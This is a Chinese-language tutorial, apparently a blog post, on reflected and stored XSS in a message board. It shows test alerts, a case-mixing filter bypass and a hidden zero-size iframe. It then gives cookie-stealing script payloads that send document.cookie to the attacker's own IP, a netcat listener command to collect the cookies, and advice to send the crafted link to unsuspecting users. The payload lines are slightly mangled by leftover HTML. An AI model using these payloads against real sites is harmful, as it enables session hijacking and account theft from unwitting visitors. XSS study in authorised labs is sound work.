反射型xss:修改前端的代码,使得恶意代码被前端解析,所以只在一台用户的计算机上或者实现xss漏洞的网址上展现出漏洞。
存储型XSS:修改前端代码使得被后端服务器解析,使得恶意代码直接命令到数据库,所以所有访问到有xss漏洞的网站都会受到危害。
在留言板上执行xss语句:
![](https://img-blog.csdnimg.cn/img_convert/e2e532c4158969ae3df80a1ee4c2102d.png)
![](https://img-blog.csdnimg.cn/img_convert/42a45a15ac342bdb0402f613516b9326.png)
简单验证有没有Xss存储,也可以填写alert("Xss ScriPt"),绕过大小写
(如重新打开原始页面有漏洞出现,那为存储型漏洞)可作为判断漏洞类型的方法,以便以后的利用。
利用方法:
1、增加一留言,并在留言内容中改为 <iframe src="https://www.baidu.com"></iframe>
![](https://img-blog.csdnimg.cn/img_convert/ba728590deb89cf6ca1c61f5984f9e7b.png)
隐藏恶意网页。增加留言,内容包含以下语句:<iframe src=http://www.baidu.com width="0" height="0"></iframe>,观察返回状态,网页被执行,但未在留言系统界面中显示。这样如果是攻击脚本就可以用此方法隐藏自己。
获取用户cookies方法:
1.对于反射形xss:
<script>alert(document.cookie)</script>,但是没什么实质的危害,因为该漏洞为反射型,只有访问这个页面的人才能看到在线cookie敏感信息。(可作为判断是否为反射型漏洞)
2.
先构造一个网站:<script>new Image().src="" target="_blank">http://10.1.8.142:8888/?output="+document.cookie;</script>
10.1.8.142:8888是自己电脑的端口及其IP
![](https://img-blog.csdnimg.cn/img_convert/52362d9ec59f7df5990e84a47d056d7b.png)
这个cookies是访问该网站的用户的,所以攻击思路是构造出这个xss网站,再发这个网站给不知情的用户,然后在自己的电脑上下载一个监听器,来获取用户泄露的cookies:
打开Kali,启动NC监听器
![](https://img-blog.csdnimg.cn/img_convert/8016d6b0b4fd40c5e831109d09603cd9.png)
最后,如果有用户访问这个你构造的网站,他的cookies就会被你的Kali截取。
对于存储型cookies获取:
![](https://img-blog.csdnimg.cn/img_convert/297ffa667b346d76cd9e45ed90eb385f.png)
先修改输入长度,因为注入的payload可能会比较长
输入:<script>new Image().src="" target="_blank">http://10.1.8.1:9999/?output="+document.cookie;</script>
然后在操作机中开启监听,
nc -lvp 9999
原理:相当于把一行恶意代码注入到了后端服务器里,该代码要求把用户的cookie发送到自己的电脑上。